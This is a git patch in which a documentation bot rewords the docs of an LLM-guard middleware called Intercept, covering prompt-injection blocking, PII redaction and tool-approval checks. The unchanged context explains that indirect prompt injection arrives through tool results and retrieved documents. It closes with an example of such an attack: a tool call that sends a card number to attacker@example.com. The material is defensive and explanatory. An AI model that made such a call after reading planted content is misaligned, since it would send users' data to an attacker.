From f7f71043281f9ef4998546964ad669ba8576e45b Mon Sep 17 00:00:00 2001 From: "mintlify[bot]" <109931778+mintlify[bot]@users.noreply.github.com> Date: Sun, 27 Sep 2026 11:38:33 +0000 Subject: [PATCH] docs: apply active voice and consistent tone fixes --- docs/guides/handling-blocked-prompts.mdx | 2 +- docs/guides/security-notes.mdx | 8 ++++---- docs/index.mdx | 2 +- docs/middleware/injection-guard.mdx | 2 +- docs/middleware/pii-redactor.mdx | 6 +++--- docs/middleware/tool-approval-guard.mdx | 2 +- 6 files changed, 11 insertions(+), 11 deletions(-) diff --git a/docs/guides/handling-blocked-prompts.mdx b/docs/guides/handling-blocked-prompts.mdx index b420d00..77a4bf4 100644 --- a/docs/guides/handling-blocked-prompts.mdx +++ b/docs/guides/handling-blocked-prompts.mdx @@ -6,7 +6,7 @@ sidebarTitle: "Handling blocked prompts" Some Intercept middleware actions stop a prompt before it reaches the AI provider. -When a prompt is blocked, your app should catch the exception and return a safe user-facing response. +When Intercept blocks a prompt, your app should catch the exception and return a safe user-facing response. ## Injection Guard exception diff --git a/docs/guides/security-notes.mdx b/docs/guides/security-notes.mdx index 81f0859..764f86b 100644 --- a/docs/guides/security-notes.mdx +++ b/docs/guides/security-notes.mdx @@ -14,9 +14,9 @@ Use it as part of a layered AI safety strategy. Intercept can inspect, redact, block, or modify prompts before they reach the provider. -It cannot guarantee that every unsafe input will be detected. +It cannot guarantee that it detects every unsafe input. -It cannot guarantee that every sensitive value will be found. +It cannot guarantee that it finds every sensitive value. It cannot replace application-level authorization, validation, access control, or tool permission checks. @@ -118,11 +118,11 @@ Two limits are worth knowing. Resumed prompts are immutable, because a paused turn must replay verbatim against the provider that recorded it. Actions that rewrite the prompt cannot apply, so `redact`, `mask`, `sanitize`, and `warn` degrade to logging on this path. Only blocking genuinely stops the content. -If your threat model requires that PII never reaches the provider, do not rely on `redact` alone. Add the relevant entity types to `block_entities`, or validate the edited arguments in your approval flow before they are submitted. +If your threat model requires that PII never reaches the provider, do not rely on `redact` alone. Add the relevant entity types to `block_entities`, or validate the edited arguments in your approval flow before you submit them. ## Safe user-facing errors -When a prompt is blocked, return a simple message. +When Intercept blocks a prompt, return a simple message. Good: diff --git a/docs/index.mdx b/docs/index.mdx index cf44698..bb8306e 100644 --- a/docs/index.mdx +++ b/docs/index.mdx @@ -32,7 +32,7 @@ Each middleware is fully customisable and can inspect the prompt and decide what For example, Injection Guard can block prompt injection attempts before the prompt reaches the provider. -PII Redactor can redact emails, phone numbers, IP addresses, and other structured sensitive data before the prompt is sent. +PII Redactor can redact emails, phone numbers, IP addresses, and other structured sensitive data before the prompt reaches the provider. ## Current middleware collection diff --git a/docs/middleware/injection-guard.mdx b/docs/middleware/injection-guard.mdx index 5028da6..e5bb0aa 100644 --- a/docs/middleware/injection-guard.mdx +++ b/docs/middleware/injection-guard.mdx @@ -420,7 +420,7 @@ Because `sanitize` and `warn` cannot neutralise the content on this path, they l ### Blocked resumes -When a resumed run is blocked, the exception names the offending tool call and field so the failure can be traced: +When Injection Guard blocks a resumed run, the exception names the offending tool call and field so you can trace the failure: ```text Prompt injection attempt detected in tool approval decisions [call_7: arguments.filters.note]. diff --git a/docs/middleware/pii-redactor.mdx b/docs/middleware/pii-redactor.mdx index 90dd549..0704675 100644 --- a/docs/middleware/pii-redactor.mdx +++ b/docs/middleware/pii-redactor.mdx @@ -249,7 +249,7 @@ public function middleware(): array ### Blocking PII -Use `block` when the prompt should stop as soon as supported PII is detected. +Use `block` when the prompt should stop as soon as the middleware detects supported PII. ```php public function middleware(): array @@ -262,7 +262,7 @@ public function middleware(): array } ``` -If PII is detected, the middleware throws a `PIIRedactorException`. +If the middleware detects PII, it throws a `PIIRedactorException`. You can also catch `InterceptException`, the parent exception class that all Intercept middleware throw. @@ -294,7 +294,7 @@ Default blocked entities: ] ``` -This means a prompt containing a supported API key or bearer token will be blocked by default. +This means the middleware blocks a prompt containing a supported API key or bearer token by default. You can override blocked entities: diff --git a/docs/middleware/tool-approval-guard.mdx b/docs/middleware/tool-approval-guard.mdx index 62b4261..0274ccb 100644 --- a/docs/middleware/tool-approval-guard.mdx +++ b/docs/middleware/tool-approval-guard.mdx @@ -14,7 +14,7 @@ Every other Intercept middleware inspects what goes _out_: the prompt, and the t None of them see what comes _back in_. Tool results, retrieved documents, and conversation history never pass through the middleware pipeline, which is exactly where indirect prompt injection lives. -When an agent is manipulated by content Intercept never saw, the damage almost always surfaces as a tool call: +When content that Intercept never saw manipulates an agent, the damage almost always surfaces as a tool call: ```text send_email(to: "attacker@example.com", body: "card 4111111111111111")